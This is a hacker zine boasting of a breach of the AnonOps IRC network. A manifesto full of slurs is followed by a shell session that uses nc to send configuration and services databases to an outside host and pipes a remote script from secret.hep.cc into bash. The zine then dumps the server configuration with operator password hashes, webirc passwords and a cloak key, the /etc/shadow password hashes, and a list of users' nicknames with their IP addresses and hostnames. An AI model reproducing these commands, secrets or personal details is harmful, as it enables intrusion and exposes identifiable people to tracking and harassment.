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LOS ANONOPS MUERTO

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  28.                 <shitstorm> lol who the fuck is carlos
  29.                               CARLOS1337
  30.                                PRESENTE
  31.                           LOL ANONOPS MUERTO
  32.                            CERO DIA EDICION
  33.            
  34.  ┌─────────────────────────┐
  35.  │ :: Table of Contents :: │
  36.  ├─────────────────────────┤
  37.  │ 0x01 ~ Prefac3          │
  38.  ├─────────────────────────┤
  39.  │ 0x02 ~ s3rv1c3s pwn     │
  40.  ├─────────────────────────┤
  41.  │ 0x03 ~ iRCd pwn         │
  42.  ├─────────────────────────┤
  43.  │ 0x04 ~ b0x pwn          │
  44.  ├─────────────────────────┤
  45.  │ 0x05 ~ 1ps              │
  46.  ├─────────────────────────┤
  47.  │ 0x06 ~ l0l sh1t         │
  48.  ├─────────────────────────┤
  49.  │ 0x07 ~ FiL3z            │
  50.  ├─────────────────────────┤
  51.  │ 0x08 ~ ex1t             │
  52.  └─────────────────────────┘
  53.  
  54.                             :: 0x01 - Prefac3 ::
  55.            
  56.     Over the course of the following months, it has become very clear to us that
  57. AnonOps no longer stands for the values of open speech, freedom of opinion and
  58. has instead transformed itself into a network rampent with trolls, abusive
  59. channel operators, and a generally unwelcoming place for those whom wish to
  60. communicate and gather to fight the powers of corruption, and those whom wish
  61. to censor our open internet. Various attempts have been made in the past to
  62. course correct AnonOps, but the totalitarian IRC operator regime has remained
  63. intact.
  64.     The AnonOps network prides itself in being "secure", however, such is not
  65. the case. Rather, they employ incompetent and highly unprofessional channel and
  66. IRC operators, allowing their personal grudges to interfere with the operation
  67. of a secure network for Anonymous. Newcomers to the network are welcomed by a
  68. spirit of condescention and arrogance, as any legitimate question or concern is
  69. slowly drowned out by the laughter of the senior members of the chatroom.
  70. Channel operators rather than discourage such behavior, applaud it, joining in,
  71. and using their powers to kick, ban, or SAJOIN newcomers to #kill. Any attempt
  72. to speak out against the way the network is ran is met with kick, ban, or zline.
  73. A decentralized organization such as Anonymous cannot thrive on a network ran by
  74. such people as Power2All, Wolfy, Owen and Shitstorm. Anonymous transcends beyond
  75. one IRC network, or one social medium. Spread. Be aware. Educate. Anonymous is
  76. an idea; ideas are bulletproof.
  77.     Anonymous cannot be owned or controlled by a small group of faggot
  78. totaltarian operators. Thus we have decided to lombotomize the cancer that is
  79. AnonOps from the internet. AnonOps no longer stands with Anonymous, but rather
  80. against us as an agent of censorship, unlulzy pseudo-activism and immense
  81. faggotry, and thus must be eliminated.
  82.     AnonOps has proven itself insecure and fault prone in the past. We are here
  83. to illustrate these points again. AnonOps is NOT Anonymous, and throughtheir
  84. actions, they have proven themselves against our ideals. Welcome to thecourt of
  85. the internet, AnonOps. You shall be persecuted for your crimes against the
  86. freedom of chats, your utter and repeated failure as an IRC network, your aid to
  87. the spread of namefagging, and your gross negligence in securing the identities
  88. of those whom chat and remain Anonymous on your network.
  89.     AnonOps has shown time and time again it is too large of a target, and very
  90. well capable of corrupting the ideals which fuels the fight in every Anon.
  91. As long as AnonOps stay online, they will continue to adulterate our cause,
  92. bastardizing ideals of Anonymous, and running a network where the only lulz to
  93. be had are that of the failures whom chat there and run the network. Such
  94. activity cannot continue.
  95.  
  96. Let's drop the formalities now, and get down to business!
  97.  
  98.                         :: 0x02 - s3rv1c3s pwn ::
  99.                  ¡HOLA! ¡CARLOS1337 AQUI CON UN NUEVO ZINE!
  100.         ~~~ JAJA ANONOPS ESTOY MUERTO: ¡AY CARAMBA! ¡UNA CERO DIA! ~~~
  101.  
  102. After probing AnonOps for quite a while, we figured out that they were using
  103. a vulnerable version of Anope IRC Services. With a bit of luck, and an in house
  104. zero day we were able to get ourselves a reverse shell.
  105.  
  106.  connect to [REDACTED] from 46.182.105.86 38604
  107. [anonops@ns1 ~]$ id
  108. uid=502(anonops) gid=502(anonops) groups=502(anonops)
  109.  
  110. # Let's go ahead and snag ourselves some juicy files...
  111. [anonops@ns1 ~]$ cd ~/inspircd/run/conf
  112. [anonops@ns1 conf]$ nc htp 443 < inspircd.conf
  113. [anonops@ns1 conf]$ cd ~/services
  114. [anonops@ns1 services]$ nc htp 443 < nick.db
  115. [anonops@ns1 services]$ nc htp 443 < chan.db
  116. [anonops@ns1 services]$ nc htp 443 < oper.db
  117. [anonops@ns1 services]$ nc htp 443 < os_info.db
  118.  
  119. # And then let's go ahead and hook services.
  120. [anonops@ns1 services]$ curl http://secret.hep.cc/lol.sh | bash >/dev/null 2>&1
  121. [anonops@ns1 services]$ killall services; ./services; exit
  122.  
  123.  
  124.                          :: 0x02 - iRCd pwn ::
  125.                               ¡Dios Mios!
  126.  
  127. <admin name="AnonOps" nick="AnonOps" email="AnonOpsNetwork@gmail.com">
  128.  
  129. <power hash="sha256"
  130.     diepass="62b0ddb2bda9dd3cd239f6ae21c88ef13d2e70d27e0f79fbf88be0f1575ed8fb"
  131.     restartpass="ca985667598484ddf516e3b2f445491b4c31e82963422dd07d305bcc4d24ff65">
  132.  
  133. <connect name="localhost" allow="127.0.0.0/8" timeout="90" pingfreq="120"
  134.     hardsendq="786432" softsendq="8192" recvq="8192" threshold="10"
  135.     commandrate="1000" fakelag="on" globalmax="1000" useident="no" limit="5000"
  136.     modes="+xiw">
  137.    
  138. <connect name="vpn" allow="46.236.2.47" timeout="40" pingfreq="120"
  139.     hardsendq="786432" softsendq="8192" recvq="8192" threshold="10"
  140.     commandrate="1000" fakelag="on" localmax="10" globalmax="10" useident="no"
  141.     modes="+xiw">
  142.  
  143. <connect name="mibbit1" allow="64.62.228.82" timeout="40" pingfreq="120"
  144.     hardsendq="131074" recvq="4096" threshold="5" fakelag="on" localmax="5000"
  145.     globalmax="5000" useident="no" modes="+xwi">
  146. <connect name="mibbit2" allow="207.192.75.252" timeout="40" pingfreq="120"
  147.     hardsendq="131074" recvq="4096" threshold="5" fakelag="on" localmax="5000"
  148.     globalmax="5000" useident="no" modes="+wxi">
  149. <connect name="mibbit3" allow="78.129.202.38" timeout="40" pingfreq="120"
  150.     hardsendq="131074" recvq="4096" threshold="5" fakelag="on" localmax="5000"
  151.     globalmax="5000" useident="no" modes="+wxi">
  152. <connect name="mibbit4" allow="109.169.29.95" timeout="40" pingfreq="120"
  153. hardsendq="131074" recvq="4096" threshold="5" fakelag="on" localmax="5000"
  154.     globalmax="5000" useident="no" modes="+wxi">
  155.  
  156. <connect name="main" allow="*" timeout="10" pingfreq="120" hardsendq="786432"
  157.     softsendq="8192" recvq="8192" threshold="10" commandrate="1000" fakelag="on"
  158.     localmax="2" globalmax="3" useident="no" limit="5000" modes="+xiw">
  159.    
  160. <cidr ipv4clone="32" ipv6clone="128">
  161. <channels users="50" opers="100">
  162. <banlist chan="*" limit="128">
  163. <options prefixquit="Quit: " suffixquit="" prefixpart="" suffixpart=""
  164.     fixedquit="" fixedpart="" syntaxhints="no" cyclehosts="no"
  165.     cyclehostsfromuser="no" ircumsgprefix="no" announcets="no"
  166.     allowmismatched="no" defaultbind="auto" hostintopic="no" pingwarning="15"
  167.     serverpingfreq="300" defaultmodes="nt" exemptchanops="NcBS"
  168.     invitebypassmodes="no">
  169. <performance netbuffersize="10240" maxwho="20" somaxconn="128" softlimit="1024"
  170.     quietbursts="yes" nouserdns="no">
  171. <security announceinvites="dynamic" hideulines="yes" flatlinks="yes"
  172.     hidewhois="AnonOps" hidebans="yes" hidekills="Killer" hidesplits="yes"
  173.     maxtargets="20" customversion="AnonOpsIRC" operspywhois="yes"
  174.     restrictbannedusers="yes" genericoper="yes" userstats="">
  175. <limits maxnick="31" maxchan="31" maxmodes="20" maxident="11" maxquit="100"
  176.     maxtopic="307" maxkick="150" maxgecos="30" maxaway="30">
  177. <whowas groupsize="3" maxgroups="5000" maxkeep="3d">
  178. <insane hostmasks="yes" ipmasks="yes" nickmasks="yes" trigger="75">
  179.  
  180. <badnick nick="ChanServ" reason="Reserved For Services">
  181. <badnick nick="NickServ" reason="Reserved For Services">
  182. <badnick nick="OperServ" reason="Reserved For Services">
  183. <badnick nick="MemoServ" reason="Reserved For Services">
  184. <badnick nick="BotServ" reason="Reserved For Services">
  185. <badnick nick="vHostServ" reason="Reserved For Services">
  186. <badhost host="IRCLOIC@*" reason="wrong server">
  187.  
  188. <uline server="services.anonops.in" silent="yes">
  189. <uline server="defender.anonops.in" silent="yes">
  190.  
  191. # Oper Classes
  192. <class name="Root"
  193.     commands="DIE RESTART RSQUIT JUMPSERVER LOCKSERV UNLOCKSERV SQUIT
  194.     GRELOADMODULE CLEARCACHE">
  195. <class name="Shutdown" commands="REHASH LOADMODULE UNLOADMODULE RELOAD
  196.     GLOADMODULE GUNLOADMODULE SQUIT"
  197.     privs="users/auspex channels/auspex servers/auspex users/mass-message
  198.     channels/high-join-limit channels/set-permanent users/flood/no-throttle
  199.     users/flood/increased-buffers" usermodes="*" chanmodes="*">
  200. <class name="ServerLink" commands="CONNECT RCONNECT MKPASSWD ALLTIME SWHOIS
  201.     CLOSE TAXONOMY" usermodes="*" chanmodes="*" privs="servers/auspex">
  202. <class name="BanControl" commands="KILL GLINE KLINE ZLINE QLINE ELINE TLINE
  203.     RLINE CHECK NICKLOCK NICKUNLOCK SHUN CLONES" privs="channels/auspex
  204.     channels/high-join-limit" usermodes="*" chanmodes="*">
  205. <class name="OperChat" commands="WALLOPS GLOBOPS SETIDLE" usermodes="*"
  206.     chanmodes="*" privs="users/mass-message">
  207. <class name="HostCloak" commands="SETHOST SETIDENT SETNAME CHGHOST CHGIDENT
  208.     CHECK CHGNAME" usermodes="*" chanmodes="*">
  209. <class name="OperUnlag" privs="users/flood/no-throttle
  210.     users/flood/increased-buffers">
  211. <class name="ServAdmin" commands="SAMODE SAJOIN SAPART SANICK SAQUIT SATOPIC
  212.     OJOIN FILTER CBAN">
  213.  
  214. # Oper Types
  215. <type name="RootAdmin" classes="Root Shutdown ServerLink BanControl OperChat
  216.     HostCloak OperUnlag ServAdmin" vhost="netadmin.anonops.li"
  217.     override="INVITE KEY LIMIT KICK MODEOP MODEDEOP MODEVOICE MODEDEVOICE
  218.     MODEHALFOP MODEDEHALFOP OTHERMODE TOPIC BANWALK">
  219. <type name="NetAdmin" classes="OperChat BanControl HostCloak Shutdown
  220.     ServerLink OperUnlag ServAdmin" vhost="netadmin.anonops.li"
  221.     override="INVITE KEY LIMIT KICK MODEOP MODEDEOP MODEVOICE MODEDEVOICE
  222.     MODEHALFOP MODEDEHALFOP OTHERMODE TOPIC">
  223. <type name="GlobalOp" classes="OperChat HostCloak BanControl OperUnlag ServerLink"
  224.     vhost="ircop.anonops.in" override="KICK MODEOP MODEDEOP MODEVOICE
  225.     MODEDEVOICE MODEHALFOP MODEDEHALFOP">
  226. <type name="Helper" classes="HostCloak" vhost="helper.anonops.in">
  227. <type name="ServicesAdmin" classes="OperChat HostCloak OperUnlag BanControl
  228.     ServerLink Shutdown" vhost="servadmin.anonops.li"
  229.     override="INVITE KEY LIMIT KICK MODEOP MODEDEOP MODEVOICE MODEDEVOICE
  230.     MODEHALFOP MODEDEHALFOP OTHERMODE TOPIC">
  231.  
  232. # Oper List
  233. <oper name="power2all" hash="sha256"
  234.     password="e6275286066acd1939ee617fd8481903b5de5b3573d00835481db7024f8cc488"
  235.     host="*@*" vhost="staff.anonops.li" type="RootAdmin">
  236. <oper name="Cody" hash="sha256"
  237.     password="1698c6b760f79d808b27dc8d2605acafbbf53cdf78d3603a0883b8df2f483b9f"
  238.     host="*@*" vhost="staff.anonops.li" type="NetAdmin">
  239. <oper name="pi" hash="sha256"
  240.     password="c12c6c10bfe35d2facfede647fb6651ea0074660d17ee3af3bd7831d087d44ce"
  241.     host="*@*" vhost="anonops.staff" type="RootAdmin">
  242. <oper name="p0ke" hash="sha256"
  243.     password="a214007b665299c451106a9ea16687ec845d9131646de9099521d34065d98ac6"
  244.     host="*@*" vhost="staff.anonops.li" type="NetAdmin">
  245. <oper name="jaychow" hash="sha256"
  246.     password="2037df642493897250048bb739d3237c11aabb48e4e00dfa9f75dc163bda1742"
  247.     host="*@*" vhost="staff.anonops.li" type="NetAdmin">
  248. <oper name="shitstorm" hash="sha256"
  249.     password="1eba91646d70e6634e3014a3167c6e0efa3a2809472645711d8306b787322821"
  250.     host="*@*" vhost="staff.anonops.li" type="RootAdmin">
  251. #<oper name="Isis" hash="sha256"
  252. #   password="61f317d24a98796f28c387c0db5cebe475cd5dcd67963e68fafabc22d79636b7"
  253. #   host="*@*" vhost="staff.anonops.li" type="NetAdmin">
  254. #<oper name="Nerdo" hash="sha256"
  255. #   password="7bbc72b57333b8f4dbbab0d88847e2f25d6cd5926876b0fad07db2469151e046"
  256. #   host="*@*" vhost="staff.anonops.li" type="RootAdmin">
  257. <oper name="evilworks" hash="sha256"
  258.     password="8a6d07285f406fb3c894c30545ef9514cd3056b6316dd016e0365c43de7e6b7b"
  259.     host="*@*" vhost="staff.anonops.li" type="NetAdmin">
  260. <oper name="Jupiler" hash="sha256"
  261.     password="96803102354be6a01acfd47e62eb0eace11fa6aff44e20fc94afe9244f4038a3"
  262.     host="*@*" vhost="staff.anonops.li" type="NetAdmin">
  263. #<oper name="sharpie" hash="sha256"
  264. #   password="24dd9c6aab6e116fbb62f9aa5cba78ccd0b9852c929064e5ae07cebd29a20db7"
  265. #   host="*@*" vhost="staff.anonops.li" type="NetAdmin">
  266. <oper name="daboogieman" hash="sha256"
  267.     password="0e3b8fa38cfae600196897531e5b1b96059c6041b9ad68eec1ba0ed91a1d6027"
  268.     host="*@*" vhost="staff.anonops.li" type="NetAdmin">
  269. <oper name="pie" hash="sha256"
  270.     password="5bc4d814c4ed162f2cea2a40ffb156f2cac198ddf24316a2de6e3614cc892461"
  271.     host="*@*" vhost="staff.anonops.li" type="NetAdmin">
  272.  
  273. # Default Modules Configs
  274. <module name="m_md5.so">
  275. <module name="m_sha256.so">
  276. <module name="m_ripemd160.so">
  277.  
  278. <module name="m_alias.so">
  279. <alias text="NICKSERV" replace="PRIVMSG NickServ :$2-" requires="NickServ"
  280.     uline="yes">
  281. <alias text="CHANSERV" replace="PRIVMSG ChanServ :$2-" requires="ChanServ"
  282.     uline="yes">
  283. <alias text="OPERSERV" replace="PRIVMSG OperServ :$2-" requires="OperServ"
  284.     uline="yes" operonly="yes">
  285. <alias text="BOTSERV" replace="PRIVMSG BotServ :$2-" requires="BotServ"
  286.     uline="yes">
  287. <alias text="HOSTSERV" replace="PRIVMSG HostServ :$2-" requires="HostServ"
  288.     uline="yes">
  289. <alias text="MEMOSERV" replace="PRIVMSG MemoServ :$2-" requires="MemoServ"
  290.     uline="yes">
  291. <alias text="NS" replace="PRIVMSG NickServ :$2-" requires="NickServ" uline="yes">
  292. <alias text="CS" replace="PRIVMSG ChanServ :$2-" requires="ChanServ" uline="yes">
  293. <alias text="OS" replace="PRIVMSG OperServ :$2-" requires="OperServ" uline="yes"
  294.     operonly="yes">
  295. <alias text="BS" replace="PRIVMSG BotServ :$2-" requires="BotServ" uline="yes">
  296. <alias text="HS" replace="PRIVMSG HostServ :$2-" requires="HostServ" uline="yes">
  297. <alias text="MS" replace="PRIVMSG MemoServ :$2-" requires="MemoServ" uline="yes">
  298. <alias text="IDENTIFY" replace="PRIVMSG NickServ :IDENTIFY $2" requires="NickServ"
  299.     uline="yes">
  300.  
  301. <module name="m_allowinvite.so">
  302. <module name="m_alltime.so">
  303. <module name="m_auditorium.so">
  304. <auditorium opvisible="no" opcansee="yes" opercansee="yes">
  305. <module name="m_blockcolor.so">
  306. <module name="m_botmode.so">
  307. <module name="m_callerid.so">
  308. <callerid maxaccepts="16" operoverride="yes" tracknick="no" cooldown="120">
  309. <module name="m_chancreate.so">
  310. <module name="m_chanprotect.so">
  311. <chanprotect noservices="no" qprefix="~" aprefix="&amp;" deprotectself="yes"
  312.     deprotectothers="yes">
  313. <module name="m_check.so">
  314. <module name="m_chghost.so">
  315. <module name="m_chgident.so">
  316. <module name="m_chgname.so">
  317. <module name="m_cloaking.so">
  318. <cloak mode="full" key="bubrafuKuWazunustFrUvacuvezawrU4rEgu" prefix="AN-">
  319. <module name="m_close.so">
  320. <module name="m_clones.so">
  321. <module name="m_conn_umodes.so">
  322. #<module name="m_connectban.so">
  323. #<connectban threshold="4" duration="10m" ipv4cidr="32" ipv6cidr="128">
  324. <module name="m_dccallow.so">
  325. <dccallow blockchat="yes" length="0" action="block">
  326. <banfile pattern="*" action="block">
  327. <module name="m_delayjoin.so">
  328. <module name="m_devoice.so">
  329. <module name="m_dnsbl.so">
  330. <dnsbl name="DroneBL" type="bitmask" domain="dnsbl.dronebl.org" action="ZLINE"
  331.     reason="DroneBL" duration="30d" bitmask="253">
  332. <dnsbl name="ProxyBL" type="bitmask" domain="dnsbl.proxybl.org" action="ZLINE"
  333.     reason="ProxyBL" duration="30d" bitmask="253">
  334. <dnsbl name="efnetRBL" type="bitmask" domain="rbl.efnet.org" action="ZLINE"
  335.     reason="EFnetRBL" duration="30d" bitmask="253">
  336. <module name="m_filter.so">
  337. <filteropts engine="pcre">
  338. <module name="m_globalload.so">
  339. <module name="m_globops.so">
  340. <module name="m_halfop.so">
  341. <module name="m_hidechans.so">
  342. <hidechans affectsopers="false">
  343. <module name="m_hideoper.so">
  344. <module name="m_inviteexception.so">
  345. <module name="m_joinflood.so">
  346. <module name="m_knock.so">
  347. <module name="m_lockserv.so">
  348. <module name="m_maphide.so">
  349. <module name="m_messageflood.so">
  350. <module name="m_muteban.so">
  351. <module name="m_conn_waitpong.so">
  352. <waitpong sendsnotice="yes" killonbadreply="no">
  353. <module name="m_nickflood.so">
  354. <module name="m_nicklock.so">
  355. <module name="m_nonotice.so">
  356. <module name="m_noctcp.so">
  357. <module name="m_nokicks.so">
  358. <module name="m_nonicks.so">
  359.  
  360. #Oper modules
  361. <module name="m_operchans.so">
  362. <module name="m_ojoin.so">
  363. <ojoin prefix="" notice="no" op="no">
  364. <module name="m_operjoin.so">
  365. <operjoin channel="#opers" override="no">
  366. <module name="m_opermotd.so">
  367. <opermotd file="oper.motd" onoper="yes">
  368. <module name="m_override.so">
  369. <module name="m_password_hash.so">
  370. <module name="m_redirect.so">
  371. <module name="m_regex_glob.so">
  372. <module name="m_regex_posix.so">
  373. <module name="m_regex_pcre.so">
  374. <module name="m_regonlycreate.so">
  375. <module name="m_rline.so">
  376. <module name="m_sajoin.so">
  377. <module name="m_sakick.so">
  378. <module name="m_samode.so">
  379. <module name="m_sanick.so">
  380. <module name="m_sapart.so">
  381. <module name="m_satopic.so">
  382. <module name="m_securelist.so">
  383. <securehost exception="*@*.searchirc.org">
  384. <securehost exception="*@*.netsplit.de">
  385. <securehost exception="*@bot.search.mibbit.com">
  386. <module name="m_sethost.so">
  387. <module name="m_setident.so">
  388. <module name="m_setname.so">
  389. <module name="m_seenicks.so">
  390. <module name="m_services_account.so">
  391. <module name="m_showwhois.so">
  392. <module name="m_shun.so">
  393. <shun enabledcommands="PING PONG QUIT PART" notifyuser="no" affectopers="no">
  394. <module name="m_spanningtree.so">
  395. <module name="m_sslmodes.so">
  396. <module name="m_ssl_gnutls.so">
  397. <module name="m_sslinfo.so">
  398. <module name="m_stripcolor.so">
  399. <module name="m_svshold.so">
  400. <module name="m_swhois.so">
  401. <module name="m_timedbans.so">
  402. <module name="m_tline.so">
  403. #<module name="m_xline_db.so">
  404.  
  405. #Mibbit Blocks
  406. <module name="m_cgiirc.so">
  407. <cgihost type="webirc" password="MaF6uSTadeTUcre52wuqU84UQ4p2u4RA"
  408.     mask="64.62.228.82">
  409. <cgihost type="webirc" password="MaF6uSTadeTUcre52wuqU84UQ4p2u4RA"
  410.     mask="207.192.75.252">
  411. <cgihost type="webirc" password="MaF6uSTadeTUcre52wuqU84UQ4p2u4RA"
  412.     mask="78.129.202.38">
  413. <cgihost type="webirc" password="MaF6uSTadeTUcre52wuqU84UQ4p2u4RA"
  414.     mask="109.169.29.95">
  415.  
  416. # P0ke's WebIRC
  417. <cgihost type="webirc" password="gQhsUKatbEMPruwFqjm" mask="127.0.0.1">
  418.  
  419.  
  420.                         :: 0x04 - b0x pwn ::
  421.  
  422. [anonops@ns1 run]$ base64 utmp
  423. [anonops@ns1 etc]$ cat passwd
  424. root:x:0:0:root:/root:/bin/bash
  425. bin:x:1:1:bin:/bin:/sbin/nologin
  426. daemon:x:2:2:daemon:/sbin:/sbin/nologin
  427. adm:x:3:4:adm:/var/adm:/sbin/nologin
  428. lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
  429. sync:x:5:0:sync:/sbin:/bin/sync
  430. shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
  431. halt:x:7:0:halt:/sbin:/sbin/halt
  432. mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
  433. news:x:9:13:news:/etc/news:
  434. uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
  435. operator:x:11:0:operator:/root:/sbin/nologin
  436. games:x:12:100:games:/usr/games:/sbin/nologin
  437. gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
  438. ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
  439. nobody:x:99:99:Nobody:/:/sbin/nologin
  440. nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
  441. vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
  442. rpc:x:32:32:Portmapper RPC user:/:/sbin/nologin
  443. mailnull:x:47:47::/var/spool/mqueue:/sbin/nologin
  444. smmsp:x:51:51::/var/spool/mqueue:/sbin/nologin
  445. pcap:x:77:77::/var/arpwatch:/sbin/nologin
  446. dbus:x:81:81:System message bus:/:/sbin/nologin
  447. haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
  448. avahi:x:70:70:Avahi daemon:/:/sbin/nologin
  449. sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
  450. avahi-autoipd:x:100:102:avahi-autoipd:/var/lib/avahi-autoipd:/sbin/nologin
  451. rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
  452. nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
  453. shitstorm:x:500:500::/home/shitstorm:/bin/bash
  454. anonops:x:501:501::/home/anonops:/bin/bash
  455. owen:x:502:502::/home/owen:/bin/bash
  456. ntp:x:38:38::/etc/ntp:/sbin/nologin
  457.  
  458. # IT GETS BETTER!
  459. [anonops@ns1 ~]$ cat /etc/shadow | grep '\$'
  460. root:$1$1wg7czx2$Twx4Tu6B/HhoPX4M/mCQF1:15292:0:99999:7:::
  461. shitstorm:$1$S9rg0Dwq$cSt2nrpUetbUe4VLwpLFC1:15292:0:99999:7:::
  462. anonops:$1$7BYkAp.7$cN4cPFCs3lXyLF19ifdUl/:15292:0:99999:7:::
  463. owen:$1$mtzJIgPo$Vl5cLKMafgP1/2Sv8iWGi/:15292:0:99999:7:::
  464.  
  465.                     :: 0x05 ~ 1pS ::
  466.                    
  467. # These were posted on pastebin, but it didnt seem to get as much attention
  468. # as whoever posted it wanted it to get. All these are from a vulnerable
  469. # CGI:IRC which incompitence extra-ordinare Power2All assured everyone was safe.
  470. # What a fucking idiot.
  471.  
  472. ANON555 97.104.251.171 cpe-97-104-251-171.cfl.res.rr.com
  473. ANON_Darkness 184.154.116.156 singlehop1.securitykiss.com
  474. ANONamy 86.189.5.32 host86-189-5-32.range86-189.btcentralplus.com
  475. AfDTags 76.85.186.139 CPE-76-85-186-139.neb.res.rr.com
  476. Anon23845 95.140.125.37 free-125-37.mediaworksit.net
  477. AnonFin 194.110.178.3 mail2.paf.fi
  478. AnonymousMe 69.130.46.124 h69-130-46-124.qrtzaz.dsl.dynamic.tds.net
  479. Azrae 74.232.155.229 adsl-074-232-155-229.sip.asm.bellsouth.net
  480. B2F 173.84.223.70
  481. Billy_Mays 65.183.151.13 saito.countshockula.com 109.235.51.184 tor-exit-node1.freedomservice.onion
  482. C0d3 76.0.7.183 mo-76-0-7-183.dhcp.embarqhsd.net
  483. CaineOfBorg 173.3.247.193 ool-ad03f7c1.dyn.optonline.net
  484. Caleb 94.75.255.118 hosted-by.leaseweb.com
  485. DJ-TAM 76.226.135.59 adsl-76-226-135-59.dsl.sfldmi.sbcglobal.net
  486. DubstepMagic 60.228.226.189 CPE-60-228-226-189.lns8.woo.bigpond.net.au
  487. Edave22 68.9.122.7 ip68-9-122-7.ri.ri.cox.net
  488. Epsilon 173.3.247.208 ool-ad03f7d0.dyn.optonline.net
  489. FedX 114.39.102.162 114-39-102-162.dynamic.hinet.net
  490. GlitchMC 174.124.43.61 174-124-43-61.dyn.centurytel.net
  491. HIv 95.140.125.37 free-125-37.mediaworksit.net
  492. Haze 12.18.245.219
  493. Indianrubuk 122.174.160.44 ABTS-TN-dynamic-044.160.174.122.airtelbroadband.in
  494. Inkk 108.18.106.240 pool-108-18-106-240.washdc.fios.verizon.net
  495. Jincux 184.91.149.18 18.149.91.184.cfl.res.rr.com
  496. Josss 78.228.41.61 sbg57-1-78-228-41-61.fbx.proxad.net
  497. LOLOL 0.0.7.209
  498. LTD 174.127.99.174 174.127.99.174.static.midphase.com
  499. Lumina 186.188.228.113
  500. M4C 201.96.104.241 customer-201-96-104-241.uninet-ide.com.mx
  501. Odinaga 129.72.141.219 uwyo-129-72-141-219.uwyo.edu
  502. Power2All 82.169.240.68 82-169-240-68.ip.telfort.nl
  503. RetSnom 138.199.70.143
  504. Ruffah_Ras 98.233.180.236 c-98-233-180-236.hsd1.md.comcast.net
  505. ShadowOp 75.18.160.149 adsl-75-18-160-149.dsl.pltn13.sbcglobal.net
  506. Smeryl 77.196.253.34 34.253.196.77.rev.sfr.net
  507. Smeyl 77.196.253.34 34.253.196.77.rev.sfr.net
  508. Swag 66.66.103.14 cpe-66-66-103-14.rochester.res.rr.com
  509. Thismanisadoctor 24.20.65.109 c-24-20-65-109.hsd1.or.comcast.net
  510. UNBANMEIMPORTANTSTUFF 24.167.16.4 cpe-24-167-16-4.rgv.res.rr.com
  511. Xerath 60.231.48.85 CPE-60-231-48-85.lns3.cha.bigpond.net.au
  512. anon123 187.146.160.236 dsl-187-146-160-236-dyn.prod-infinitum.com.mx
  513. anon4347 75.149.43.213 fabgraphics.com
  514. anonymama 75.157.157.14 d75-157-157-14.bchsia.telus.net
  515. bobbbbbb 93.182.187.4 anon-187-4.vpn.ipredator.se
  516. boho 173.23.64.22 173-23-64-22.client.mchsi.com
  517. br4incr4sh 81.56.209.237 server.abcdeflorent.com
  518. chippy1337LOL 93.182.130.66 anon-130-66.vpn.ipredator.se
  519. cokee 93.182.133.20 anon-133-20.vpn.ipredator.se
  520. cokeee 93.182.130.66 anon-130-66.vpn.ipredator.se
  521. comx6 190.99.231.241 dsl-emcali-190.99.231.241.emcali.net.co
  522. digger 0.0.0.2
  523. don 196.206.85.193 adsl196-193-85-206-196.adsl196-3.iam.net.ma
  524. dotprod 128.32.21.89 static-128-32-21-89.Law.Berkeley.EDU
  525. e 209.212.149.109 za.l.to
  526. eddie 166.250.1.233 233.sub-166-250-1.myvzw.com
  527. elena197 88.104.229.97 88-104-229-97.dynamic.dsl.as9105.com
  528. facePalmMe 128.32.21.89 static-128-32-21-89.Law.Berkeley.EDU
  529. fuckfox 128.32.21.89 static-128-32-21-89.Law.Berkeley.EDU
  530. g31g3r 137.238.147.205 s147n205.resnet.geneseo.edu
  531. gaston 173.174.139.89 cpe-173-174-139-89.satx.res.rr.com
  532. gawkcobbler 71.54.42.86 nc-71-54-42-86.dhcp.embarqhsd.net
  533. gezwitscher 175.41.162.169 ec2-175-41-162-169.ap-southeast-1.compute.amazonaws.com
  534. ghostcom 108.0.70.45 pool-108-0-70-45.lsanca.fios.verizon.net
  535. hacker 68.45.41.140 c-68-45-41-140.hsd1.nj.comcast.net
  536. heckl 68.68.108.159
  537. imti 173.48.90.41 pool-173-48-90-41.bstnma.fios.verizon.net
  538. k1tt3n 213.251.194.76
  539. k3ymaster 173.245.64.95
  540. koolz 98.203.26.25 c-98-203-26-25.hsd1.fl.comcast.net
  541. lionymous 67.183.152.14 c-67-183-152-14.hsd1.wa.comcast.net
  542. locky 186.86.129.1 Dynamic-IP-186861291.cable.net.co
  543. loginix 70.170.36.125 ip70-170-36-125.lv.lv.cox.net
  544. madmaster 77.247.181.162 chomsky.torservers.net
  545. manonn 76.113.235.189 c-76-113-235-189.hsd1.mn.comcast.net
  546. mepup 85.24.189.121 h-189-121.a189.priv.bahnhof.se
  547. naSignal 193.138.216.101 tor-proxy.vm.31173.se
  548. nibble 128.32.21.89 static-128-32-21-89.Law.Berkeley.EDU
  549. nikkofritz 109.215.173.29 APoitiers-257-1-142-29.w109-215.abo.wanadoo.fr
  550. nononn 46.239.119.58 host095577.olf.sgsnet.se
  551. nr206 80.237.226.74 tor4.anonymizer.ccc.de 193.177.160.99 static.ip-193-177-160-099.signet.nl
  552. opmonsanto 93.182.133.20 anon-133-20.vpn.ipredator.se
  553. pagaro_verde12 189.227.250.160 dsl-189-227-250-160-dyn.prod-infinitum.com.mx
  554. ph33r 68.170.73.247 247.73.170.68.belairinternet.com
  555. phusion 76.21.16.54 c-76-21-16-54.hsd1.ca.comcast.net
  556. qwerty 173.3.247.208 ool-ad03f7d0.dyn.optonline.net
  557. risk 202.59.80.158
  558. savetheinternet 58.175.28.253 CPE-58-175-28-253.mqdl1.lon.bigpond.net.au
  559. sd 0.0.7.209
  560. sdk 201.82.181.124 c952b57c.virtua.com.br
  561. sike333 189.178.67.80 dsl-189-178-67-80-dyn.prod-infinitum.com.mx
  562. soldout 71.189.172.143 pool-71-189-172-143.lsanca.fios.verizon.net
  563. sprinkles 213.46.138.76 d138076.upc-d.chello.nl
  564. subz3r0e 41.202.225.156
  565. triPPy 173.245.64.183 173.245.64.160
  566. tweak_ 142.163.144.229 mtprnf0110w-142163144229.pppoe-dynamic.High-Speed.nl.bellaliant.net
